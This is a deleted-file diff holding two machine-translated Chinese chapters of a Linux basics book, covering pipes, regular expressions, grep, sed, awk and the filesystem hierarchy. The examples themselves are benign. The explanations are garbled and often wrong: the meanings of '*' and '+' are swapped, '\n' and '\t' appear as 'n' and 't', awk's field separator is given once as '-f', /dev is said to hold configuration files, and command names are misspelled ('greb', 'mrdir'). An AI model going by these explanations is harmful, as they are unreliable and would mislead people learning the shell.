-![](img/ef883ce1-f0bb-4d18-ba83-41772fec0efe.png) - -这个文件中有很多独特的名字。说到管道的例子,天有不测风云,而且例子太多了。理想情况下,这应该使用`root`用户帐户运行。请忽略错误。下面的屏幕截图显示了文件系统的核心摘要: - -![](img/72686415-4aae-4ceb-ac5d-9819e377693e.png) - -另外,另一个有用的管道命令是打印出目录中使用过的文件。如果您使用的是 Windows 系统,您可能知道一个名为 ZIP 的实用程序,它可以压缩文件。在 Linux 上,您可以做一些非常相似的事情,但是这里我们需要两个工具一起工作。对于压缩,我们使用`gzip`工具。因为`gzip`只能处理单个文件,所以我们首先需要创建一个将多个文件连接成单个文件的归档。对于归档,我们使用`tar`命令。因此,要在`/tmp`目录中创建主目录的压缩存档,首先使用`tar`命令:`tar -cv /home/olip/ | gzip`创建主目录的存档。档案将被输出到`stdout`流,因此我们将其作为`stdin`输入到`gzip`命令中。由于 gzip 本身将压缩文件输出到`stdout`,我们将把它重定向到一个文件。压缩与未压缩数据量的对比结果如下: - -![](img/4fd858d0-e6f0-4260-bf40-0183ec1aa613.png) - -这本书将会展示更多管道的例子。如果将`stdout`或`stderr`重定向到一个文件中,如果该文件已经存在,通常会被删除,或者在写入任何内容之前会创建一个新文件。为了不删除文件,而是追加内容,使用大于号。例如,要创建新的输出文件,请执行下面屏幕截图中显示的命令: - -![](img/47b8f3be-2e24-459d-a657-e025a89885db.png) - -现在,要将字符串`Hello World`追加到输出文件中,我们将使用大于号。当我们开始将内容重定向到文件时,这不会删除文件的内容。相反,它会将内容附加到文件的末尾。如前所述,管道是 Shell 最重要的概念之一,使用它们非常有趣。 - -# 理解正则表达式 - -在这一节中,我们将介绍正则表达式的奇妙艺术。你会了解他们是什么,为什么他们如此强大。有很多不同的正则表达式字符可用,这里我们将介绍最重要的。之后,您将学习如何使用`grep`命令应用正则表达式来查找、提取和过滤文本文件中的有用信息。**正则表达式**,简称 **regexps** ,是一个非常强大的概念,用于使用特殊模式搜索文本,描述搜索词的结构,而不是一个恒定的字符串,在本文中也称为**字面文本搜索**。通过不做重复的工作,使用正则表达式可以节省很多时间,Linux 系统管理员在日常工作中会大量使用它们。 - -在*文件环球化*部分,当我们使用环球化字符寻找模式来处理带有一些特殊字符的多个文件名时,我们学到了一个非常相似的概念。正则表达式是一个更强大的工具;它们包含一组非常广泛的各种特殊字符,用于完全或部分匹配最复杂的文本片段。在 Linux shell 中,我们使用正则表达式不是为了 shell 扩展或对文件名进行分组,而是为了处理文本文件的内容或文本行的字符串,以解析和分析它们的内容或从中提取文本特征。如前所述,正则表达式是一个非常复杂的主题,我们只能在这里给你一个概述。请注意,有几种样式的正则表达式可用,例如 Perl 正则表达式。在我们的示例中,我们将使用 POSIX、basic 和扩展正则表达式,正如大多数 shell 工具所使用的,例如`greb`、`sed`和`awk`。有很多不同的正则表达式字符可用,也称为**元字符**。 - -由于其中一些元字符是扩展的 POSIX 字符,我们需要在扩展模式下启动我们的正则表达式处理命令。 - -一些扩展表达式如下: - -* `n`用于匹配行尾。 -* `t`匹配顶部的空格。 -* 插入符号`^`与行首匹配。 -* 美元`$`符号与行尾匹配。 -* `[x]`和 globbing 括号很像,你之前学过。这描述了要在括号内特定位置匹配的字符类别。您也可以在这里定义字符范围。 -* `[^x]`匹配括号中未定义的所有字符。 -* 括号用于分组;这将把文本保存在括号中,以便以后进一步引用。 -* `1`为数字,用于反向参考。这将获得从括号中提取的引用的编号 *n* ,这是我们之前向您展示的。 -* `a|b`表示在这个位置 *a* 或 *b* 是允许的。 -* `x*`表示在该位置匹配零次或多次出现的 *x* 字符。 -* `y+`表示在此位置匹配一个 *y* 字符的一次或多次出现。 -* 点表示在特定位置匹配任何字符。 - -知道很多使用正则表达式的工具,比如`sed`、`awk`,期望正则表达式被斜线包围也是非常重要的。另外,脚本语言 Perl 也采用了这种风格。在其他工具如`grep`中,不需要使用斜线符号。 - -让我们首先使用命令`grep`来实验我们的新正则表达式概念。我们使用`egrep`命令行工具在扩展模式下启动 grep。不用运行`egrep`命令,也可以用大写`-E`选项运行`grep`命令,效果一样。`grep`是一个逐行遍历文本文件或输入流的命令,并尝试将给它的搜索模式参数匹配到每一行。如果一条特定的线与图案匹配,它将打印出完整的线。这对于各种文本提取都非常有用,`grep`是 Linux 上最重要的命令行工具之一。事实上,我不记得有一天在壳里工作的时候我根本不用它。通常,`grep`被用作过滤器,作为更大管道命令工作流的一部分,以减少您想要进一步处理的巨大输出文本。 - -首先,如前所述,我们将使用 POSIX `regex`。存在很多不同的正则表达式术语,太多太难背,所以每次需要查语法的时候,输入`man 7 regex`。在本手册中,您将找到关于正则表达式所需了解的一切。 - -让我们开始从文件中提取各种信息。我们将从使用没有正则表达式的`grep`命令开始,而是搜索简单的文本文字`grep root /etc/passwd`。这会返回`passwd`文件中包含单词`root`的所有行。输出中的任何一行都给我们提供了它所属的`root`用户的分组信息。如您所见,grep 遍历整个文件,并在任何位置找到包含字符串`root`的所有行。一个非常有用的`grep`选项是`-i`。这可用于忽略搜索词的大小写敏感性。比如执行`grep -I root /etc/services`。这会找到`root`这个词的所有出现,而忽略这个情况。这也将找到单词`root`的所有其他情况排列。当使用正则表达式作为`grep`、`sed`或`awk`等命令的参数时,建议使用*单引号*引用您的元字符。这是因为一些正则表达式字符与 shell globbing 字符是相同的字符,例如通配符,这是不好的。Shell 扩展总是在任何参数被输入到任何命令之前发生,因此使用不带禁用通配符的正确命令将搜索包含您要搜索的特定文件中所有文件名的字符串。 - -相反,始终将正则表达式元字符放在单引号中。此外,如果您想在文件中搜索与正则表达式元字符相同的文字特殊字符,您需要转义该字符,这类似于我们在*文件全局化*部分使用反斜杠键学习的内容。下面的截图说明了本节开头提到的每个元字符的一个例子: - -![](img/42eee779-0e46-4aed-92b0-61cbec2cfdf6.png) - -美元符号在行尾匹配,因此这将打印出所有以服务文件中的数据结尾的文件。同样,我们使用插入符号`^`来匹配行首。以下命令匹配所有以单词`day`开头的行: - -![](img/f06d6723-c123-4b1a-9b61-c158f5d503cb.png) - -方括号表达式是括在方括号中的字符列表。它通常在特定位置匹配列表中的任何单个字符。您也可以使用破折号定义方括号中的范围,类似于我们在*文件球形化*部分中显示的范围。如果括号中的列表以插入符号开头,则它与列表其余部分以外的任何单个字符匹配。普通括号可以用来保存匹配的引用。为了回溯引用,我们使用括号表达式的`/number`,以便正则表达式匹配以第一个字母开始的所有行,例如`egrep 't(ac)1*s' /etc/services`。管道符号代表*或*,因此下一个表达式匹配包含**域**或**地鼠**的所有行。点匹配特定位置的任何字符。加号表示匹配前面零次或多次出现的字符,因此该正则表达式匹配所有包含`at-`的行,但不匹配行尾。星形元字符匹配之前字符的一个或多个出现,因此这里的`egrep 'aa+' /etc/services`表达式匹配包含至少两个或更多`aa`的所有行。加号字符匹配前面字符的一次或多次出现,因此此处的正则表达式匹配所有行。 - -如前所述,点匹配特定位置的每个字符,因此正则表达式匹配包含与表达式中的点数量相对应的字符数量的所有行。`grep`有很多有用的选项,例如,`-v`反转搜索匹配,这意味着打印所有根本不包含搜索模式的行。我经常使用这个选项来删除许多配置文件中的所有空行和命令行,这些文件以 shell 脚本文件中的 hashtag 开始。例如,执行下面屏幕截图中显示的命令: - -![](img/43c20227-c279-46f3-a1f7-9f1422d30d33.png) - -手册包含许多命令行,以标签和空行开始。要过滤掉所有这些不需要的行,请使用`grep -v`选项。另一个有用的特性是`grep -o`选项,它只打印匹配的图案,而不是完整的线条。例如,`egrep 'netbios-...' /etc/services`打印出完整的行,而`-o`选项只打印模式中的纯 NetBIOS 名称。 - -# 与 sed 合作 - -在本节中,我们将了解强大的流编辑器`sed`命令。我们将向您简要介绍`sed`的工作原理,并向您展示自动替换文本和文件的替换模式,这是可用的最重要模式之一。接下来,我们将学习`sed`命令。让我们首先检查它的语法: - -```sh -sed [OPTION] 'pattern rule' FILE -``` - -`sed`代表**流编辑器**,该命令可以自动编辑文件,无需任何用户交互。它逐行处理输入文件。通常,`sed`在 shell 脚本中用于将任何命令的输出转换为所需的形式,以便进一步处理。`sed`的大多数日常用例遵循类似的模式,以最简单的形式,首先与正则表达式或其他模式一起使用,以定义输入文件或流中要更改的行,然后提供如何更改或转换匹配行的规则。类似于`grep`命令,在使用`sed`时始终使用单引号,除非您需要在`sed`表达式中使用环境变量,否则您应该使用双引号。通常`sed`从`stdin`读取,内部处理流,并将文本的转换版本输出到`stdout`。因此,它被理想地用在`pipe`命令中,因此它通常是管道的一部分。`sed`可以用于很多不同的用例。 - -使用地址范围的一个非常简单的例子是`d`选项,删除,这也有助于您理解`sed`是如何处理输入和输出流的。同样,`cat /etc/services | sed '20,50 d'`使用`cat`将`etc/services`文件流传输到`sed`。`sed`逐行处理输入流,这里,所有不在第 20 行到第 50 行之间的行被直接处理到`stdout`通道,而第 20 行到第 50 行被完全抑制。您也可以使用带有`d`选项的正则表达式。使用`sed`时,请记住将任何正则表达式放在斜线中。`sed`命令忽略所有以哈希符号开始的行,但它会将所有其他行打印到`stdout`。有很多不同的选项和模式可以工作,但这里要提到的太多了。 - -`sed`最重要的用法肯定是替换模式,可以用来自动进行文件或文本编辑,无需任何用户交互。它的一般语法是:`sed 's/search_for_text/replace_with_text/' FILENAME`。这将在文件文件名中搜索第一个斜杠之间的模式,可以是正则表达式或文字表达式,并且当且仅当该模式与该文件中某行的文本匹配时,它将被另一个斜杠之间的文本替换。这仅适用于文件中的第一次出现。如果需要替换文件中所有出现的搜索文本,必须使用斜杠表达式末尾的`g`选项。例如,将`passwd`文件中的单词`root`替换为单词`King_of_the_Jungle`,每次出现时,执行如下截图所示的命令: - -![](img/5a46e9cd-26af-4ed3-a86b-9dc62120a57c.png) - -如果您正在搜索任何包含斜杠的内容,您可以使用不同的模式分隔符来转义常规替换用法,因为否则您将需要转义您要搜索或替换的斜杠字符,它可能看起来非常复杂和非结构化。这也可以写成`sed 's:XX:YY:g' FILENAME`,或者你选择的任何其他字符。所以举个例子,如果你想在一个文件中用双斜线代替单斜线,而不是用`sed 's//////g' FILENAME`,那么用`sed 's:/://:g' FILENAME`,或者`sed 's#/#//#g' FILENAME`就更干净了。使用没有任何`sed`选项的替换模式将始终打印转换后的文本到`stdout`。有时,直接更改输入文件中的文本很有用。这可以使用`sed -i`选项或内嵌选项来完成。 - -在下面的例子中,我们将处理一份`passwd`文件,向您展示如何进行就地编辑。为此,请执行以下步骤: - -1. 在`/tmp`目录下创建`passwd`文件的副本,如下图截图所示: - -![](img/140e3682-1a00-4c39-acce-e0199bc574f8.png) - -2. 让我们首先显示包含单词`root`的所有行。 -3. 接下来,仅在`stdout`上用随机文本替换文件中的单词`root`。执行以下命令: - -```sh -sed 's/root/RULER_OF_THE_WORLD/g' /tmp/test-passwd | less -``` - -4. 现在要就地编辑文件,使用`-i`选项: - -```sh -sed -i 's/root/RULER_OF_THE_WORLD/g' /tmp/test-passwd -less /tmp/test-passwd -``` - -该文件已被永久更改。使用此选项时请小心,因为如果您以前没有测试过您的替换,并且您犯了一个错误,您将无法恢复您的更改。最好在应用就地编辑之前创建原始文件的备份副本,这可以使用`sed -i`选项来完成,例如`sed -i.bak 's/root/RULER_OF_THE_WORLD/g' /tmp/test-passwd`。如果您在`-i`选项后面写了一个新的扩展名,如`.bak`,它将在将正则表达式应用到原始文件之前创建一个扩展名为`bak`的备份副本。在替换模式下处理这些正则表达式时,我们之前向您展示的分组和反向引用功能使替换变得非常强大,因为这使您能够真正控制输入文本所需的更改,例如,`passwd`文件包含冒号作为字段分隔符,一个冒号分隔一个字段。反向引用时使用 sed,我们可以用四个冒号替换一个冒号: - -![](img/cd6696d5-77cc-4f47-b11a-8b0eb26bafee.png) - -`grep`、`sed`和`awk`使用的 POSIX 扩展正则表达式也在括号中定义了许多非常有用的特殊字符类,这在模式匹配中非常有用。一般语法是`grep '[:digit:], [:space:], [:blank:]'`。数字括号字符类匹配特定位置的所有数字。空格匹配所有空格,空格匹配所有空格,如*制表符*空格,空格匹配所有空格。要匹配`etc/passwd`文件中包含数字的所有行,请使用`grep '[[:digit:]]' /etc/passwd`。有关所有特殊字符类别的列表,请使用`man 7 regex`手册。 - -# 使用 awk - -在本节中,我们将向您展示`awk`命令的全部内容,以及为什么它对我们很重要。我们还将向您展示如何使用它来处理文本文件。`awk`是另一个非常重要的文本处理和操纵工具。它可以作为一种完整的脚本语言来处理文本文件或流。它包含一些非常强大的编程结构,包括变量: *if...否则*、*边*、*边做边*和*进行*循环;数组;职能;和数学运算。`awk`也像`sed`一样逐行工作。`awk`的一个关键特性和`sed`的主要区别在于它自动将输入行分割成字段。但是它是如何工作的,为什么这么有帮助呢? - -`awk`使您能够创建规则和操作对,并且,对于匹配此规则或条件的每个记录,操作都将触发。这些规则也被称为**模式**,相当强大,可以使用**扩展正则表达式**。动作的语言类似于编程语言 c。使用`awk`符号范式在输入中找到一个模式,然后应用某种动作,通常会将复杂而繁琐的数据操作任务减少到几行代码,甚至一行代码。`awk`还允许您创建和执行强大的`awk`脚本文件,以自动执行具有挑战性的文本转换任务,但是在本节中,我们将只关注在命令行上使用`awk`选项和参数。请注意,由于`awk`是一个完整的脚本语言,有很多特性和选项,这里只能给大家展示最重要的用例和例子。 - -这是任何`awk`命令的基本结构:`awk [pattern] { action }...INPUTFILE`。需要注意的是,这些动作必须用大括号括起来。这也可以理解为:逐行检查输入文件,并尝试将模式应用于每一行。如果且仅当模式匹配或规则可应用于该行且为真,则将执行花括号之间的操作。 - -学习和理解`awk`工具最简单的方法就是不用任何规则或模式使用它,只定义一个简单的动作。在没有给它一个模式的情况下,该操作将应用于任何输入行。如前所述,`awk`将每个输入行完全分割成字段,因此我们可以使用以下符号直接访问操作参数中的那些字段。像往常一样,动作和模式应该放在单引号中: - -```sh -awk '{print $1}' /etc/networks -``` - -这将打印出`etc/networks`文件所有行的字段`1`。如您所见,该操作必须用花括号括起来。`$number`是场数,`$0`是完全线。您现在可能已经知道,`awk`默认情况下会在每个空白位置拆分。您可以使用`-f`选项更改字段分隔符。例如,要正确分割以冒号作为字段分隔符的`passwd`文件,可以使用冒号指定字段分隔符`-f`。这将打印出`etc/passwd`文件的第一个字段和用户名:`awk -F: '{ print $1 }' /etc/passwd`。您也可以使用 awk `printf`函数,它打印出格式化的文本,您可能从其他编程语言中知道:`awk -F: '{ print "user: %stgroup: %sn", S1, S3 }' /etc/passwd`。`%s`将由字段编号代替。`t`制作一个*制表符*字符,`n`制作一个新的行字符。 - -现在,是时候测试一些模式了。正如我们之前所说的,如果您定义了一个模式或规则,它也可以是一个扩展的正则表达式,它将应用于每一个输入行,并且只有那些匹配规则的操作才会被执行。 - -以下命令将打印出所有行中的第一个字段,并且只打印行,从`etc/services`文件中的小`t`开始。这里我们将把它输入到`head`命令中,将输出减少到只有前 10 行: - -![](img/a70171b9-8dff-44d3-af97-5cdd635d5fd9.png) - -使用`awk`命令时,请记住将任何正则表达式放入斜线。awk 最大的特点之一是模式不仅仅是一个简单的正则表达式。例如,您也可以在这里使用字符串和数学比较运算符。这将帮助您用几个微小的表达式来回答非常复杂的文本操作问题: - -![](img/fc95c7e7-31df-4995-a9b3-17085cc0422c.png) - -在上例中,`awk`只输出来自`etc/passwd`文件中用户的行,这些行的组标识大于`500`。大于号是运算符。还有很多其他的运营商可以利用,但是这里要提到的太多了。例如,要匹配正则表达式,请使用`awk '$1 ~ /netrjs/ {print $0}' /etc/services`。波浪号是正则表达式匹配运算符。要匹配字符串,请使用等号两次,`awk '$1 == "netrjs-4" {print $0}' /etc/services`。要获得所有 awk 操作符的列表,请在手册页中搜索操作符。还有`awk`有两种特殊的图案,分别叫做 **BEGIN** 和 **END** 。与任何其他模式一样,您可以为开始和结束模式定义一个操作,这将只在文件的开头或结尾触发一次。我们可以用它来打印出目录中的总字节数: - -![](img/fafc9ee2-d1d3-422c-92db-9bf188441ca1.png) - -这个`awk`命令是这样工作的:首先,它使用了一个名为`SUM`的变量,这个变量就像一个容器,用于我们的数字计数。`+=`是一个数学运算符,它将字段号`5`添加到我们的容器`SUM`中,这样这个动作就会从每行的字段`5`中的单个字节号开始计算总字节数。此外,在每一行,我们打印出整行内容,一旦我们到达文件的末尾,将触发结束模式,这将打印出我们的`SUM`变量的内容,该变量保存该目录中的总字节数。正如您刚刚看到的,我们可以定义自定义变量来保存我们想要拥有和使用的值。awk 中还有许多预定义的变量名,其中包含非常有用的信息。例如`NR`变量名包含当前行号。这在以下`awk`命令中很有用: - -```sh -awk '{printf "Line number: %st%sn", NR, $0}' /etc/passwd -``` - -这将使用`NR`变量在输出的每一行前添加行号,该变量包含每行中的当前行号。有关所有特殊 awk 内置变量的列表,请使用手册并搜索变量。 - -awk 包含许多非常有用的预定义函数来使用,例如我们已经从动作语句中知道的`print`或`printf`函数。要在一个动作块中执行多个功能,可以使用分号。例如,awk 包含许多非常有用的字符串操作函数,如`toupper (argument)`函数。awk 中的函数与大多数其他编程语言中的函数一样工作。使用函数名调用它,然后在括号中添加一个或多个参数。例如,我们在 awk 动作中使用`print`和`printf`功能。例如,在 awk 中有一个名为`toupper`的字符串函数,它将每个字符串参数转换为大写字母。 - -以下是使用`toupper`函数的完整的`awk`命令行示例: - -![](img/5addac74-524f-4f61-b729-45e5bfd8e3eb.png) - -这将正常打印出`passwd`文件中的第一个字段,然后用大写字母再次打印。我们的最后一个示例将向您展示如何使用分号作为表达式分隔符在一个操作语句中执行多个表达式或函数: - -![](img/91e0abde-a7b5-4de3-be0e-d2bfdbd88dec.png) - -此外,您可以在这里看到,您可以将任何函数的返回值分配给一个变量名,然后稍后引用该变量名,因此该示例与之前的示例非常相似,首先打印出大写版本,然后是正常的小写版本,然后是正常的字段值版本。对于所有可用的 awk 函数,我们使用手册并搜索函数、数值函数、字符串函数、时间函数等等。 - -# 浏览 Linux 文件系统 - -在本节中,您将学习如何浏览 Linux 文件系统。您还将了解 Linux 文件系统是如何构造的。如果我们通过执行`tree -d -L 1 /`命令打印出根目录下顶层目录的文件夹结构,你会看到一个听起来很奇怪的目录名列表。这些目录名在任何 Linux 发行版上都是相同的,它们遵循一个称为**文件系统层次标准** ( **FHS** )的标准。Linux 文件系统中的每一个标准目录都有特定的用途,用户可以在特定的位置看到特定的文件,这也意味着程序可以预测文件的位置,这也意味着任何使用这些系统目录的程序都可以预测文件的位置。以下是目录: - -* `/`斜线是主层级根。 -* `/bin`包含系统所需的基本命令,例如,当系统出现故障时,用户可以在系统的恢复模式下工作,或者,例如,当用户启动进入恢复模式时,用户需要的可执行文件。 -* `/boot`包含引导所需的文件,如内核文件。 -* `/dev`包含系统的设备文件,比如我们之前用过的`/dev/null`。该目录非常重要,当您作为系统管理员工作时,您会经常使用它。它包含系统上安装的所有应用的系统范围配置文件。 -* `/home`包含用户的主目录,正如我们在本节中所了解的。 -* `/lib`包含`/bin`和`/sbin`中二进制文件所必需的库,我们将在下面看到。`/lib64`包含 64 位架构的替代格式基本库。 -* `/media`包含光盘等可移动介质的挂载点。 -* `/mnt`包含临时安装的文件系统。 -* `/opt`包含可选的应用软件包。 -* `/proc`包含虚拟文件系统,提供进程和内核信息作为文件,例如,这是存储当前会话的所有环境变量的地方。 -* `/root`包含`root`用户的主目录。根用户的主目录不在`/home`。 -* `/run`包含运行时变量数据;这是自上次引导以来运行系统的信息。 -* `/sbin`包含必要的系统二进制文件。 -* `/srv`包含系统应该服务的所有数据,例如,web 服务器的数据和脚本,或者系统上作为服务运行的 FTP 服务器提供的数据。 -* `/sys`包含连接到系统的设备的信息。 -* `/tmp`包含临时文件。每个用户都可以完全访问这个目录。 -* `/usr`包含了大部分所有的用户实用程序和应用,例如,一个用户安装的所有应用都进入这里。它也被称为只读用户数据的**二级层次结构**;因为它与根目录、顶级目录具有相似的结构。例如,您还有一个`/usr/bin`目录、一个/ `usr/lib`目录、一个`/usr/sbin`目录等等。 -* `/var`目录是指在系统正常运行过程中,预期会不断变化的所有文件,例如日志文件、假脱机文件和临时电子邮件文件。 - -首先,让我们介绍一下 Linux 主目录的概念。Linux 系统中已知的每个用户在文件系统中都有自己的私有位置,在那里他们可以管理自己的数据,并拥有对所有内容的完全访问权限,例如,创建目录或新文件、删除内容或更改权限。出于安全原因,除了少数例外,Linux 文件系统中的大多数地方,如系统`/tmp`目录,都以这样或那样的方式受到限制,通常只有`root`用户对所有内容拥有完全访问权限,登录用户才能对其拥有完全访问权限。每个登录的用户都有一个当前目录的属性,也就是您当前所在的目录。当用户登录到 Linux 系统时,默认情况下,他们的特定主目录将被设置为当前目录,因此他们将在此目录中启动。 - -要显示当前目录的名称,也就是你现在所在的位置,输入`pwd`,然后按*回车*键。pwd 代表**打印工作目录**。这是一个非常有用的命令,因为当你浏览目录时,很容易迷路。目录是一个构造数据的概念。通常,它用于对属于同一项目或同一类型的所有文件进行分类,例如所有配置文件。如您所见,`pwd`命令的输出包含一个包含斜杠符号的字符串,用于分隔目录名,这也称为**目录分隔符符号**。最左边的斜线有一个特殊的名字,也叫**根目录**。当前目录的最后一个目录名也可以在 shell 提示符下看到。在 Linux 文件系统中,每个目录都可以包含文件,并且可以包含更多的目录,这些目录被称为子目录。这些子目录还可以包括文件和文件夹等等。包含子目录的目录也称为父目录,而子目录称为**子目录**。这里,在我们的例子中,主目录是`olip`目录的父目录,也称为子目录。这些类型的文件和文件夹可以使用树状结构可视化,这也可以称为分层文件系统,因为该结构中的每个目录都有一个特定的位置,一些在分层结构中较高,另一些较低。最高的目录是`/`目录,或`root`目录。我们需要记住可视化这种层次树结构。我们可以使用`tree`命令,我们需要安装它,因为它在标准安装中不可用。要安装它,请使用您在安装过程中设置的`root`密码。 - -安装后,您可以使用`tree`命令获得系统的第一个概述。在顶层我们有`/`目录,它是树中最高的目录。在它的正下方,我们有许多系统目录。当我们通过执行`tree -d -L 2 / | less`定制`tree`命令来显示树中的两个目录级别时,我们可以看到树中的主目录在哪里,以及我们如何从根目录访问它,根目录是所有其他目录的父目录。现在,要在主目录中创建新目录,可以使用`mkdir`命令。`mkdir`命令以您想要创建的文件夹的名称作为参数。要删除空目录,请使用`mrdir`命令。要创建新的空文件,请使用`touch`命令。要删除文件,请使用`rm`命令。 - -现在,让我们重新创建文件夹和文件名。要更改目录,可以使用`cd`命令,代表**更改目录**。“更改目录”命令会将您当前的目录更改为新目录,您将该目录用作`cd`命令的参数。再次使用`pwd`对此进行测试。下面的截图说明了这一点: - -![](img/6a6673ed-e287-4ee1-b983-90c48f5d9f2a.png) - -在 Linux 中,当我们说转到一个目录时,我们真正的意思是通过使用`cd`命令使另一个目录成为我们当前的目录。如前所述,每个目录都包含两个特殊的速记链接,您不能更改也不能删除,`.`和`..`,这是我们当前所在目录的名称。每个目录都包含名称`..`,这是我们当前所在目录的唯一父目录的名称。此外,每个子目录只包含一个父目录,而一个父目录可以包含多个子目录。这些点对于快速浏览目录非常有用。回到前面的目录,在我们的例子中是主目录,我们可以使用`..`符号。要在子目录中的子目录中创建子目录,我们可以使用以下方法: - -![](img/488b4c86-b24f-4c5d-b8dc-7122f94ed5d0.png) - -要查看我们刚刚创建的文件夹结构,我们可以再次使用`pwd`命令。要上一级目录,我们可以使用`cd..`。要返回下去,使用`cd FolderD`。现在,要进入两级目录,可以使用文件夹分隔符斜杠符号- `cd ../ ../`。要返回子目录结构中的两个级别,我们还可以使用文件夹分隔符斜杠符号。当遍历目录时,总是有很多方法可以做到这一点。要快速返回主目录,我们可以使用几种不同的方法。要先返回主目录,可以使用一些快捷方式。正如我们之前提到的,波浪号代表主目录,所以我们可以很容易地回到主目录`cd ~`。波浪号在任何地方都可以工作,所以你可以从你所在的任何目录回到你的主目录。另外,一个非常有用的快捷方式是`cd -`,它可以让你在当前目录和你之前所在的目录之间切换。 - -甚至有一种更短的方法可以从每个位置回到你的主目录,只使用`cd`命令,没有任何参数。另一种从每个位置进入主目录的方法是直接使用`pwd`命令输出的路径。要删除包含子目录或文件的目录结构,不能使用`rmdir`命令。要删除包含文件和目录的目录子树,我们需要使用`rm -rf`选项,但请谨慎使用,因为这将在没有询问的情况下删除所有内容,这是完全不可逆的。 - -要重新创建相同的子目录结构,正如我们之前以简单得多的形式向您展示的那样,我们可以将目录分隔符符号与`mkdir -p`选项一起使用。到目前为止,我们对文件和文件夹的所有操作和动作,如`ls`、`mkdir`或`mrdir`,都始终与当前目录相关,这意味着如何转到所选目录或文件的描述始终与当前目录相关。例如,我们使用命令来处理当前目录中的文件和目录。为了引用当前目录之外的文件和文件夹,我们使用`..`和斜线目录分隔符。 - -如果我们想在同一个目录下处理文件和目录,我们只需要资源的名称。如果我们想访问当前目录之外的资源,我们可以使用目录分隔符和`..`符号来访问正确的文件或目录。现在,让我们再次执行`pwd`命令。`pwd`命令的输出称为**绝对**或**全路径**。正如您现在所知,从前导正斜杠(称为根目录)中可以很容易地识别出绝对路径。斜线符号表示您从顶层目录或根目录开始,向下继续。绝对路径实际上是整个层级中的名称路径。路径名指定并描述了如何遍历或导航文件系统中的分层目录名,以从最高根目录(可以是文件或目录)开始到达某个目标对象。完整路径始终包含如何从根目录到文件系统中任何目标的完整信息。换句话说,要进入当前目录,也就是所谓的`/home/olip/FolderA`,你必须遍历,从`/root`目录,到`home`目录,到`olip`目录,再到`FolderA`目录。要在树状结构中可视化这一点,请将`tree`命令与子目录 **L 3** 一起使用: - -![](img/6e2770f4-c1a2-495b-9fcc-06529fc4a948.png) - -重要的是要记住绝对路径在任何地方都有效。相对路径没有前导斜杠。使用相对路径,例如,更改为`FolderA`,总是取决于您此刻在文件系统中的位置。所以,`cd FolderA`只在你目前的岗位上有效。如果您在其他地方重新执行该命令,它将不起作用。当使用任何适用于文件或目录的 Linux 命令时,您总是可以选择使用相对于当前目录的本地路径,或者使用相对于根目录的完整绝对路径。通常情况下,相对路径使用起来更快,而且更改到您想要直接处理的文件的目录也很方便。但是绝对路径对于脚本或者命令是否需要在每个目录下工作是很重要的。 - -# 摘要 - -在本章中,我们首先介绍了命令行、文件全局化和引用命令。通过使用 shell、标准流和正则表达式,我们朝着实际执行的方向前进。我们还介绍了`sed`、`awk`和 Linux 文件系统的功能。 - -在下一章中,我们将讨论与文件相关的概念。 \ No newline at end of file diff --git a/docs/fund-linux/3.md b/docs/fund-linux/3.md deleted file mode 100644 index 78f79df3..00000000 --- a/docs/fund-linux/3.md +++ /dev/null @@ -1,496 +0,0 @@ -# 三、Linux 文件系统 - -在前一章中,我们通过导航文件系统向您介绍了 Linux 文件和文件夹。在本章中,我们将学习如何使用、查找和更改读取和编辑文件的权限和访问权限。我们将扩展这个主题的知识,定义什么是文件系统,并向您展示处理文件的重要命令,例如复制和移动。 - -我们将向您介绍以下概念: - -* 理解文件系统 -* 使用文件链接 -* 搜索文件 -* 与用户和组一起工作 -* 使用文件权限 -* 使用文本文件 -* 使用 VIM 文本编辑器 - -# 理解文件系统 - -文件系统不仅是展示给 Linux 用户的文件和文件夹的树,也是访问和保存数据以及保持一切一致的结构和管理。如前所述,你经常听到这样一句话,在 Linux 中,一切都是一个文件,这是真的。这意味着 Linux 中很多不同的东西被抽象为文件。例如,一个目录是一个文件,硬件设备得到的表示是特殊的系统文件,或者,有用的,比如随机数发生器,也是一个文件。 - -让我们快速回顾并总结一下上两章中我们已经知道的关于使用文件的知识。`ls`列出并显示文件,`touch`创建一个文件,文件区分大小写,`.`文件是隐藏文件,被排除在正常命令执行之外,如`ls`命令,也不包括使用文件 globbing 字符的 shell 扩展。接下来,你应该也已经知道`mkdir`创建目录,`rmdir`删除空目录,`rm`删除文件,`mkdir -p`创建全子目录结构。`rmdir`不能应用于非空目录;在我们的例子中,它包含子文件夹。`rm -rf`删除一个包含所有子目录的目录,但是要小心处理。当使用`rm -rf`选项删除整个目录结构时,`r`选项代表递归,`f`代表强制。递归选项是一个重要的选项,当您使用为整个子目录树做一些事情的命令时,经常会遇到这个选项。 - -现在,让我们学习一些其他重要的新的基于文件的命令。如果需要复制文件,可以使用`cp`命令。我们在上一章已经看到了`cp`的一般用法。如果转到`cp`命令的手册页,有三种不同的使用格式:`cp [option]... [-T] SOURCE DEST`、`cp [option]... SOURCE... DIRECTORY`和`cp [option]... -t DIRECTORY SOURCE...`一定要记住,可以有多个源目录,但只能有一个目标目录。你必须记住这个。要将一个文件复制到一个目标文件,可以使用第一种用法。要将多个文件复制到一个目标文件夹,可以使用第二种用法。第三种使用形式类似于第二种使用形式,但是混合了源和目录参数。 - -例如,要创建不同文件名的文件副本,请使用`cp firstfile secondfile`;您也可以使用本地路径名进行同样的操作。我们从手册中了解到,您也可以将文件复制到保留原始文件名的目录中。如手册所示,您也可以对多个源文件执行此操作。请注意,您不能使用`cp`命令将完整的目录从盒子中复制出来。为此,您需要提供`-R`选项: - -![](img/bebc3942-7fa4-42e9-bcec-02a1bcc83191.png) - -可以看到,完整的`olip`主目录已经复制到`/tmp`目录下,包含所有子目录和文件。请记住`cp -R`选项再次代表递归。要在命令行上移动文件和文件夹,可以使用 move 命令,该命令隐式复制和删除源文件。移动命令`mv`常用于重命名文件和文件夹。请注意,您不仅可以移动或重命名文件,还可以移动或重命名文件夹。 - -现在,如果你再看一下`ls -l`选项,例如在`/etc`目录中,你会注意到一些事情。你会得到很多有用的信息。这里的`-l`列表中的第一个字符是`d`,或`-`,或`l`,这代表文件的类型。A `d`代表目录,a `-`是普通文件,`l`是链接。`ls -l`输出中的第一个字符也称为文件类型标志。除了所示的`d`、`-`和`l`标志外,还有许多其他可用的文件类型。要获得所有可用文件类型标志的完整列表,请使用`man find`,搜索`type`,然后搜索`type c`。您将获得 Linux 中所有可用文件类型标志的完整列表: - -![](img/d307e470-cc66-4be1-8e8f-87c8e340b3a9.png) - -此外,在权限列旁边的列中给出了另一条非常有用的信息。显示的数字是文件包含的链接数: - 